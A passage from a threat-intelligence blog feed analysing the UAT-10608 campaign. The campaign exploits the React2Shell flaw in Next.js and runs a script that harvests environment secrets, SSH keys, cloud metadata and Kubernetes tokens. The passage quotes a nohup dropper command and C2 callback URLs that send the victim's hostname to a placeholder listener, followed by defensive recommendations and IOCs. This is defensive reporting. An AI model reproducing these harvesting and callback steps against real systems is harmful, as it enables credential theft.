padding: 0px; user-select: text; font-variant-ligatures: none !important; font-size: 12pt; font-style: normal; line-height: 22.0875px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; font-weight: normal;"><span class="NormalTextRun SCXW181986150 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text;">~87 (11.4%)</span></span><span class="EOP SCXW181986150 BCX0" data-ccp-props="{&quot;134233117&quot;:false,&quot;134233118&quot;:false,&quot;335551550&quot;:1,&quot;335551620&quot;:1,&quot;335559738&quot;:0,&quot;335559739&quot;:0}" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; font-size: 12pt; line-height: 22.0875px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW181986150 BCX0" role="row" aria-rowindex="8" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow: visible; height: 20px;"><td class="FirstCol SCXW181986150 BCX0" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 271px;"><div class="TableCellContent SCXW181986150 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 8px; user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW181986150 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW181986150 BCX0" xml:lang="EN-US" lang="EN-US" paraid="1101502054" paraeid="{e24eefab-d52d-47ff-bc4d-71e5efd63095}{240}" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; font-kerning: none; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW181986150 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; font-variant-ligatures: none !important; font-size: 12pt; font-style: normal; line-height: 22.0875px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; font-weight: normal;"><span class="NormalTextRun SCXW181986150 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text;">Hosts with GitHub tokens</span></span><span class="EOP SCXW181986150 BCX0" data-ccp-props="{&quot;134233117&quot;:false,&quot;134233118&quot;:false,&quot;335551550&quot;:1,&quot;335551620&quot;:3,&quot;335559738&quot;:0,&quot;335559739&quot;:0}" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; font-size: 12pt; line-height: 22.0875px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW181986150 BCX0" data-celllook="4369" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 165px;"><div class="TableCellContent SCXW181986150 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 8px; user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW181986150 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW181986150 BCX0" xml:lang="EN-US" lang="EN-US" paraid="376839502" paraeid="{e24eefab-d52d-47ff-bc4d-71e5efd63095}{248}" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; font-kerning: none; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW181986150 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; font-variant-ligatures: none !important; font-size: 12pt; font-style: normal; line-height: 22.0875px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; font-weight: normal;"><span class="NormalTextRun SCXW181986150 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text;">~66 (8.6%)</span></span><span class="EOP SCXW181986150 BCX0" data-ccp-props="{&quot;134233117&quot;:false,&quot;134233118&quot;:false,&quot;335551550&quot;:1,&quot;335551620&quot;:1,&quot;335559738&quot;:0,&quot;335559739&quot;:0}" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; font-size: 12pt; line-height: 22.0875px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW181986150 BCX0" role="row" aria-rowindex="9" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow: visible; height: 20px;"><td class="FirstCol LastRow SCXW181986150 BCX0" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 271px;"><div class="TableCellContent SCXW181986150 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 8px; user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW181986150 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW181986150 BCX0" xml:lang="EN-US" lang="EN-US" paraid="24274717" paraeid="{ddcd020b-cfb8-4067-8870-95d034ce8254}{142}" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; font-kerning: none; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW181986150 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; font-variant-ligatures: none !important; font-size: 12pt; font-style: normal; line-height: 22.0875px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; font-weight: normal;"><span class="NormalTextRun CommentStart SCXW181986150 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text;">Total files collected</span></span><span class="EOP SCXW181986150 BCX0" data-ccp-props="{&quot;134233117&quot;:false,&quot;134233118&quot;:false,&quot;335551550&quot;:1,&quot;335551620&quot;:3,&quot;335559738&quot;:0,&quot;335559739&quot;:0}" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; font-size: 12pt; line-height: 22.0875px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif;">&#xA0;</span></p></div></div></td><td class="LastCol LastRow SCXW181986150 BCX0" data-celllook="4369" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 165px;"><div class="TableCellContent SCXW181986150 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 8px; user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW181986150 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW181986150 BCX0" xml:lang="EN-US" lang="EN-US" paraid="516228375" paraeid="{ddcd020b-cfb8-4067-8870-95d034ce8254}{144}" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; font-kerning: none; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW181986150 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; font-variant-ligatures: none !important; font-size: 12pt; font-style: normal; line-height: 22.0875px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; font-weight: normal;"><span class="NormalTextRun SCXW181986150 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text;">10,120</span></span><span class="EOP SCXW181986150 BCX0" data-ccp-props="{&quot;134233117&quot;:false,&quot;134233118&quot;:false,&quot;335551550&quot;:1,&quot;335551620&quot;:1,&quot;335559738&quot;:0,&quot;335559739&quot;:0}" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; font-size: 12pt; line-height: 22.0875px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif;">&#xA0;</span></p></div></div></td></tr></tbody></table>
<!--kg-card-end: html-->
<h2 id="initial-access">Initial&#xA0;access&#xA0;</h2><p>UAT-10608 targets public-facing web applications using components,&#xA0;predominately Next.js, that are vulnerable to&#xA0;CVE-2025-55182, broadly referred to as &#x201C;React2Shell.&#x201D;&#xA0;</p><p>React2Shell&#xA0;is a pre-authentication remote code execution (RCE) vulnerability in React Server Components (RSC). RSCs&#xA0;expose&#xA0;Server Function endpoints that accept serialized data from&#xA0;clients.&#xA0;The affected code deserializes payloads from inbound HTTP requests to these endpoints&#xA0;without&#xA0;adequate validation or&#xA0;sanitization.&#xA0;</p><h3 id="exploitation-steps">Exploitation&#xA0;steps&#xA0;</h3><ol><li>An attacker&#xA0;identifies&#xA0;a publicly accessible application using a vulnerable version of RSCs or a framework built on top of it (e.g., Next.js).&#xA0;</li><li>The attacker crafts a malicious serialized payload designed to abuse the deserialization&#xA0;routine&#xA0;&#x2014;&#xA0;a technique commonly used to trigger arbitrary object instantiation or&#xA0;method&#xA0;invocation&#xA0;on the server.&#xA0;</li><li>The payload is sent via an HTTP request directly to a Server Function endpoint. No&#xA0;authentication&#xA0;is&#xA0;required.&#xA0;</li><li>The server deserializes the malicious payload, resulting in arbitrary code execution in the&#xA0;server-side Node.js process.&#xA0;</li></ol><p>Once the&#xA0;threat&#xA0;actor&#xA0;identifies&#xA0;a vulnerable endpoint, the automated toolkit takes over.&#xA0;No further manual interaction is&#xA0;required&#xA0;to extract and exfiltrate credentials harvested from the system.&#xA0;</p><h2 id="automated-harvesting-script">Automated&#xA0;harvesting&#xA0;script&#xA0;</h2><p>Data is collected via&#xA0;nohup-executed shell scripts dropped in&#xA0;/tmp&#xA0;with randomized names:</p>
<!--kg-card-begin: html-->
<pre>
/bin/sh -c nohup sh /tmp/.eba9ee1e4.sh &gt;/dev/null 2&gt;&amp;1
</pre>
<!--kg-card-end: html-->
<p>This is consistent with a staged payload delivery model.&#xA0;The initial React exploit delivers a small dropper that fetches and runs the full multi-phase harvesting script.&#xA0;Upon execution,&#xA0;the harvesting&#xA0;script iterates through several phases to collect various data from the compromised system, outlined below:&#xA0;</p><ul><li><strong>environ</strong>&#xA0;- Dump running process environment variables&#xA0;&#xA0;</li><li><strong>jsenv</strong>&#xA0;- Extract JSON-parsed environment from JS runtime&#xA0;&#xA0;</li><li><strong>ssh</strong>&#xA0;- Harvest SSH private keys and&#xA0;authorized_keys&#xA0;&#xA0;</li><li><strong>tokens</strong>&#xA0;- Pattern-match and extract credential strings&#xA0;&#xA0;</li><li><strong>history</strong>&#xA0;- Capture shell command history&#xA0;&#xA0;</li><li><strong>cloud_meta</strong>&#xA0;- Query cloud metadata APIs (AWS/GCP/Azure)&#xA0;&#xA0;</li><li><strong>k8s</strong>&#xA0;- Extract Kubernetes service account tokens&#xA0;&#xA0;</li><li><strong>docker</strong>&#xA0;-&#xA0;Enumerate&#xA0;container configurations&#xA0;&#xA0;</li><li><strong>cmdline</strong>&#xA0;- List all running process command lines&#xA0;&#xA0;</li><li><strong>proc_all&#xA0;</strong>- Aggregate all process environment variables&#xA0;</li></ul><p>The framework&#xA0;leverages&#xA0;a&#xA0;meta.json&#xA0;file that tracks execution state:&#xA0;</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/data-src-image-93ec01b9-6994-4f76-a2f1-ba60f6042023.png" class="kg-image" alt="UAT-10608: Inside a large-scale automated credential harvesting operation targeting web applications" loading="lazy" width="936" height="378" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/03/data-src-image-93ec01b9-6994-4f76-a2f1-ba60f6042023.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/data-src-image-93ec01b9-6994-4f76-a2f1-ba60f6042023.png 936w" sizes="(min-width: 720px) 720px"></figure><p>&#xA0;Following the completion of each collection phase, an HTTP request is made back to the&#xA0;C2&#xA0;server running the NEXUS Listener&#xA0;component. In most cases, the callback takes place on port 8080 and&#xA0;contains&#xA0;the following parameters:&#xA0;</p><ul><li>Hostname&#xA0;</li><li>Phase&#xA0;</li><li>ID&#xA0;</li></ul><p>Some examples of the full URL, executed after each phase:&#xA0;</p>
<!--kg-card-begin: html-->
<pre>
http://&lt;NEXUS_LISTENER_IP&gt;:8080/h=&lt;VICTIM_HOSTNAME&gt;&amp;l=info&amp;id= 123abc45 

http://&lt;NEXUS_LISTENER_IP&gt;:8080/h=&lt;VICTIM_HOSTNAME&gt;&amp;l=jsenv&amp;id= 123abc45 

http://&lt;NEXUS_LISTENER_IP&gt;:8080/h=&lt;VICTIM_HOSTNAME&gt;&amp;l=k8s&amp;id=123abc45 

http://&lt;NEXUS_LISTENER_IP&gt;:8080/h=&lt;VICTIM_HOSTNAME&gt;&amp;l=crontab&amp;id=123abc45 
</pre>
<!--kg-card-end: html-->
<h2 id="nexus-listener">NEXUS Listener&#xA0;</h2><p>After data is exfiltrated from a compromised system and sent back to the C2 infrastructure, it is&#xA0;stored in a database and&#xA0;made available via a web application&#xA0;called NEXUS Listener.&#xA0;In most instances, the web application front end is protected with a password, the prompt for which can be seen&#xA0;in Figure 1.&#xA0;</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/data-src-image-8feaa571-399e-4a7a-9c9f-a42116a2bb2d.png" class="kg-image" alt="UAT-10608: Inside a large-scale automated credential harvesting operation targeting web applications" loading="lazy" width="996" height="432" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/03/data-src-image-8feaa571-399e-4a7a-9c9f-a42116a2bb2d.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/data-src-image-8feaa571-399e-4a7a-9c9f-a42116a2bb2d.png 996w" sizes="(min-width: 720px) 720px"><figcaption><i><em class="italic" style="white-space: pre-wrap;">Figure 1.</em></i> <i><em class="italic" style="white-space: pre-wrap;">NEXUS Listener Login Prompt.</em></i></figcaption></figure><p>&#xA0;In at least one instance, the web application was left exposed, revealing a wealth of information, including the inner workings of the application itself, as well as the data that was harvested from compromised systems.&#xA0;</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/data-src-image-0c263eef-fb1d-4573-8481-200cb6d2d4e0.png" class="kg-image" alt="UAT-10608: Inside a large-scale automated credential harvesting operation targeting web applications" loading="lazy" width="996" height="457" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/03/data-src-image-0c263eef-fb1d-4573-8481-200cb6d2d4e0.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/data-src-image-0c263eef-fb1d-4573-8481-200cb6d2d4e0.png 996w" sizes="(min-width: 720px) 720px"><figcaption><i><em class="italic" style="white-space: pre-wrap;">Figure 2.</em></i> <i><em class="italic" style="white-space: pre-wrap;">NEXUS Listener homepage with statistics.</em></i></figcaption></figure><p>The application&#xA0;contains&#xA0;a listing of several statistics, including the number of hosts compromised and the total number of each credential type that&#xA0;were&#xA0;successfully extracted from those hosts.&#xA0;It also lists the uptime of the application itself. In this case, the automated exploitation and harvesting framework was able to successfully compromise&#xA0;766 hosts within a 24-hour period.&#xA0;</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/data-src-image-db4dce44-eee2-436e-9329-a1333b7401e0.png" class="kg-image" alt="UAT-10608: Inside a large-scale automated credential harvesting operation targeting web applications" loading="lazy" width="936" height="430" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/03/data-src-image-db4dce44-eee2-436e-9329-a1333b7401e0.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/data-src-image-db4dce44-eee2-436e-9329-a1333b7401e0.png 936w" sizes="(min-width: 720px) 720px"><figcaption><i><em class="italic" style="white-space: pre-wrap;">Figure 3.</em></i> <i><em class="italic" style="white-space: pre-wrap;">NEXUS Listener victims list.</em></i></figcaption></figure><p>The web application allows a user to browse through&#xA0;all of&#xA0;the compromised hosts.&#xA0;A given host can then be selected, bringing up a menu with&#xA0;all of&#xA0;the exfiltrated data corresponding to each phase of the harvesting script.&#xA0;</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/data-src-image-834eb095-5f57-47b3-8f5e-9964d1a3cd9d.png" class="kg-image" alt="UAT-10608: Inside a large-scale automated credential harvesting operation targeting web applications" loading="lazy" width="936" height="430" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/03/data-src-image-834eb095-5f57-47b3-8f5e-9964d1a3cd9d.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/data-src-image-834eb095-5f57-47b3-8f5e-9964d1a3cd9d.png 936w" sizes="(min-width: 720px) 720px"><figcaption><i><em class="italic" style="white-space: pre-wrap;">Figure 4.</em></i> <i><em class="italic" style="white-space: pre-wrap;">NEXUS Listener individual victim credentials.</em></i></figcaption></figure><p>The observed NEXUS Listener instances display &#x201C;v3&#x201D; in the title,&#xA0;indicating&#xA0;the application has gone through various stages of development before reaching the currently deployed version.</p><h2 id="analysis">Analysis&#xA0;</h2><p>Cisco Talos was able to obtain data from an&#xA0;unauthenticated&#xA0;NEXUS Listener instance. The following is an analysis of that data, broken down by&#xA0;credential&#xA0;category.&#xA0;</p><h3 id="credential-categories">Credential Categories&#xA0;</h3><p><strong>Environment</strong>&#xA0;<strong>secrets and API</strong>&#xA0;<strong>keys</strong>&#xA0;</p><p>The&#xA0;&#x201C;environ.txt&#x201D;&#xA0;and&#xA0;&#x201C;jsenv.txt&#x201D;&#xA0;files&#xA0;contain&#xA0;the runtime environment of each compromised application process, exposing a&#xA0;variety of third-party API credentials:&#xA0;</p><ul><li>AI platform keys: OpenAI, Anthropic, NVIDIA NIM,&#xA0;OpenRouter,&#xA0;Tavily&#xA0;</li><li>Payment processors: Stripe live secret keys (sk_live_*)&#xA0;</li><li>Cloud providers: AWS access key/secret pairs, Azure subscription credentials&#xA0;</li><li>Communication platforms: SendGrid, Brevo/Sendinblue&#xA0;transactional email API keys, Telegram bot tokens and webhook secrets&#xA0;</li><li>Source control: GitHub personal access tokens, GitLab tokens&#xA0;</li><li>Database connection strings: Full&#xA0;DATABASE_URL&#xA0;values including hostnames, ports, usernames, and cleartext passwords&#xA0;</li><li>Custom application secrets: Auth tokens, dashboard passwords, webhook signing secrets &#x2014; often high-entropy hex or&#xA0;Base64 strings&#xA0;</li></ul><p><strong>SSH</strong>&#xA0;<strong>private</strong>&#xA0;<strong>keys</strong>&#xA0;</p><p>Present&#xA0;in 78% of hosts, the&#xA0;&#x201C;ssh.txt&#x201D;&#xA0;files&#xA0;contain&#xA0;complete PEM-encoded private keys (both ED25519 and RSA formats) along with&#xA0;authorized_keys&#xA0;entries. These keys enable lateral movement to any other system that trusts the compromised host&apos;s key identity &#x2014; a particularly severe finding for organizations with shared key infrastructure or bastion-host architectures.&#xA0;</p><p><strong>Cloud</strong>&#xA0;<strong>credential</strong>&#xA0;<strong>harvesting</strong>&#xA0;</p><p>The&#xA0;&#x201C;aws_full.txt&#x201D;&#xA0;and&#xA0;&#x201C;cloud_meta.txt&#x201D;&#xA0;phases attempt to query the AWS Instance Metadata Service (IMDS), GCP metadata server, and Azure IMDS. For cloud-hosted targets, successful retrieval yields IAM role-associated temporary credentials &#x2014; credentials that carry whatever permissions were granted to the instance role, which in misconfigured environments can include S3 bucket access, EC2 control plane operations, or secrets manager read access.&#xA0;</p><p><strong>Kubernetes</strong>&#xA0;<strong>service</strong>&#xA0;<strong>account</strong>&#xA0;<strong>tokens</strong>&#xA0;</p><p>The&#xA0;&#x201C;k8s.txt&#x201D;&#xA0;phase targets containerized workloads,&#xA0;attempting&#xA0;to read the default service account token mounted at&#xA0;/var/run/secrets/kubernetes.io/serviceaccount/token. A compromised Kubernetes token can allow an attacker to&#xA0;enumerate&#xA0;cluster resources, read secrets from other namespaces, or escalate to cluster-admin depending on RBAC configuration.&#xA0;</p><p><strong>Docker</strong>&#xA0;<strong>container</strong>&#xA0;<strong>intelligence</strong>&#xA0;</p><p>For hosts running Docker (approximately 6% of the dataset), the&#xA0;&#x201C;docker.txt&#x201D;&#xA0;phase&#xA0;enumerates&#xA0;all running containers, their images, exposed ports, network configurations, mount points, and environment variables. Notable services&#xA0;observed&#xA0;include phpMyAdmin instances, n8n workflow automation, and internal administrative dashboards &#x2014; all of which are high-value targets for follow-on access.&#xA0;</p><p><strong>Shell</strong>&#xA0;<strong>command</strong>&#xA0;<strong>history</strong>&#xA0;</p><p>Command history files reveal operator behavior on compromised systems and&#xA0;other information that could be useful for&#xA0;post-compromise&#xA0;activity. Observed patterns include:&#xA0;</p><ul><li>MySQL client invocations with explicit credentials:&#xA0;mysql&#xA0;-u root -p&#xA0;</li><li>Database service management:&#xA0;/etc/init.d/mysqld&#xA0;restart</li></ul><h2 id="implications">Implications&#xA0;</h2><ul><li><strong>Credential</strong>&#xA0;<strong>compromise and</strong>&#xA0;<strong>account</strong>&#xA0;<strong>takeover:</strong>&#xA0;Every credential in this dataset should be considered fully compromised. Live Stripe secret keys enable fraudulent charges and refund manipulation. AWS keys with broad IAM permissions enable cloud infrastructure takeover, data exfiltration from S3, and lateral movement within AWS&#xA0;organizations. Database connection strings with cleartext passwords provide direct access to application data stores&#xA0;containing&#xA0;user&#xA0;personally identifiable information (PII), financial records, or proprietary data.&#xA0;</li><li><strong>Lateral</strong>&#xA0;<strong>movement via SSH:</strong>&#xA0;The large corpus of exposed SSH private keys creates a persistent lateral movement risk that survives the rotation of application credentials. If any of these keys are reused across systems (a common operational practice), the attacker&#xA0;retains&#xA0;access to those systems even after the&#xA0;initial&#xA0;compromise is detected and remediated.&#xA0;</li><li><strong>Supply</strong>&#xA0;<strong>chain</strong>&#xA0;<strong>risk:</strong>&#xA0;Several hosts show evidence of package registry authentication files (&#x201C;pkgauth.txt&#x201D;), including&#xA0;npm&#xA0;and pip configuration with registry credentials. Compromised package registry tokens could enable a supply chain attack &#x2014; publishing malicious versions of packages under a legitimate maintainer&apos;s identity.&#xA0;</li><li><strong>Data</strong>&#xA0;<strong>aggregation and</strong>&#xA0;<strong>intelligence</strong>&#xA0;<strong>value:</strong>&#xA0;Beyond the immediate operational value of individual credentials, the aggregate dataset&#xA0;represents&#xA0;a detailed map of the victim organizations&apos; infrastructure: what services they run, how&#xA0;they&apos;re&#xA0;configured, what cloud providers they use, and what third-party integrations are in place. This intelligence has significant value for crafting targeted follow-on attacks, social engineering campaigns, or selling access to other threat actors.&#xA0;</li><li><strong>Reputational and</strong>&#xA0;<strong>regulatory</strong>&#xA0;<strong>exposure:</strong>&#xA0;For any&#xA0;organization&#xA0;whose data appears in this set, there are serious compliance implications. Database credentials exposing PII trigger&#xA0;breach&#xA0;notification requirements under GDPR, CCPA, and sector-specific regulations. Organizations that process payments whose Stripe keys are exposed face PCI DSS incident response obligations. The exposure of AI platform API keys can result in significant unauthorized usage charges in addition to the security risk.&#xA0;</li></ul><h2 id="recommendations">Recommendations&#xA0;</h2><ol><li><strong>Audit&#xA0;getServerSideProps&#xA0;and&#xA0;getStaticProps&#xA0;implementations:</strong>&#xA0;Ensure no secrets or server-only environment variables are passed as props to client components.&#xA0;</li><li><strong>Enforce NEXT_PUBLIC_ prefix discipline:</strong>&#xA0;Only variables that are intentionally public should carry this prefix. Audit all variables for misclassification.&#xA0;</li><li><strong>Rotate all credentials&#xA0;immediately</strong>&#xA0;if any overlap with the described victim profile is suspected.&#xA0;</li><li><strong>Implement IMDSv2 enforcement</strong>&#xA0;on all AWS EC2 instances to require session-oriented metadata queries, blocking unauthenticated metadata service abuse.&#xA0;</li><li><strong>Segment SSH keys:</strong>&#xA0;Avoid reusing SSH key pairs across different systems or environments.&#xA0;</li><li><strong>Enable cloud provider secret scanning:</strong>&#xA0;AWS, GitHub, and others offer native secret scanning that can detect and alert on committed or exposed credentials.&#xA0;</li><li><strong>Deploy runtime application self-protection (RASP)</strong>&#xA0;or a WAF rule set tuned for Next.js-specific attack patterns, particularly those targeting SSR data injection points.&#xA0;</li><li><strong>Audit container environments</strong>&#xA0;for least-privilege.&#xA0;Application containers should not have access to the host SSH&#xA0;agent,&#xA0;host filesystem mounts&#xA0;containing&#xA0;sensitive data, or overly permissive IAM instance roles.&#xA0;</li></ol><h2 id="coverage">Coverage&#xA0;</h2><p>SNORT&#xAE;&#xA0;ID for CVE-2025-55182, aka React2Shell:&#xA0;65554&#xA0;</p><h2 id="indicators-of-compromise-iocs">Indicators of compromise (IOCs)&#xA0;</h2><p>Organizations should investigate for the following artifacts on web application hosts:&#xA0;</p><ul><li>Unexpected processes spawned from /tmp/ with randomized dot-prefixed names (e.g., /tmp/.e40e7da0c.sh)&#xA0;</li><li>nohup&#xA0;invocations in process listings not associated with known application workflows&#xA0;</li><li>Unusual outbound HTTP/S connections from application containers to non-production endpoints&#xA0;</li><li>Evidence of __NEXT_DATA__&#xA0;containing&#xA0;server-side secrets in&#xA0;rendered&#xA0;HTML&#xA0;</li></ul><p>IOCs for this threat also available on our GitHub repository <a href="https://github.com/Cisco-Talos/IOCs/tree/main/2026/04" rel="noreferrer">here</a>.</p>
<!--kg-card-begin: html-->
<pre>
144[.]172[.]102[.]88&#xA0;&#xA0;
172[.]86[.]127[.]128&#xA0;&#xA0;
144[.]172[.]112[.]136&#xA0;&#xA0;
144[.]172[.]117[.]112
</pre>
<!--kg-card-end: html-->
]]></content:encoded></item><item><title><![CDATA[Qilin EDR killer infection chain]]></title><description><![CDATA[This blog provides an in-depth analysis of the malicious “msimg32.dll” used in Qilin ransomware attacks, which is a multi-stage infection chain targeting EDR systems.]]></description><link>https://blog.talosintelligence.com/qilin-edr-killer/</link><guid isPermaLink="false">69ca3f6e9610580001d2fbb9</guid><category><![CDATA[Threat Spotlight]]></category><category><![CDATA[Cisco Talos Antivirus]]></category><category><![CDATA[Cisco Talos Network Intrusion Prevention]]></category><category><![CDATA[Cisco Talos Malware Protection]]></category><category><![CDATA[Cisco Talos Email Filtering]]></category><category><![CDATA[Reverse Engineering]]></category><category><![CDATA[malware]]></category><dc:creator><![CDATA[Takahiro Takeda]]></dc:creator><pubDate>Thu, 02 Apr 2026 10:00:56 GMT</pubDate><media:content url="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/EDR-Killer-header-1.jpg" medium="image"/><content:encoded><![CDATA[<ul><li>Endpoint detection and response (EDR) tools are widely deployed and far more capable than traditional antivirus. As a result, attackers use EDR killers to disable or bypass them.</li><li>Disabling telemetry collection (process, memory, network activity) limits what defenders can see and analyze.</li><li>As defenders improve behavioral detection, attackers increasingly target the defense layer itself as part of their initial access or early execution stages.</li><li>This blog provides an in-depth analysis of the malicious &#x201C;msimg32.dll&#x201D; used in Qilin ransomware attacks, which is a multi-stage infection chain 